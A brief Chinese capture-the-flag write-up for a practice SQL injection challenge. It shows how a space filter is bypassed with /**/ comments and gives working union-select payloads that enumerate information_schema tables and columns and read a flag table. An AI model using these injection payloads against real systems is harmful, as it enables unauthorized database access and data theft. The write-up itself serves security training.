1. 程式人生 > >實驗吧Web-中-簡單的sql注入之2

實驗吧Web-中-簡單的sql注入之2

輸入union select、order by這些關鍵字會提示SQLi detected! 說明對於關鍵字有防護

輸入1 union也會提示SQLi detected! 但是如果去掉空格:1union,則會返回正常,1'and'1'='1(無空格)也返回正常

所以可能是過濾了空格。

於是用/**/ 或++代替掉空格。

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

後面單獨的'用了閉合掉一個'號

 最下面看到flag表,於是再用1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag    得到

 得到flag這個column,再查詢其內容:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

就拿到flag了。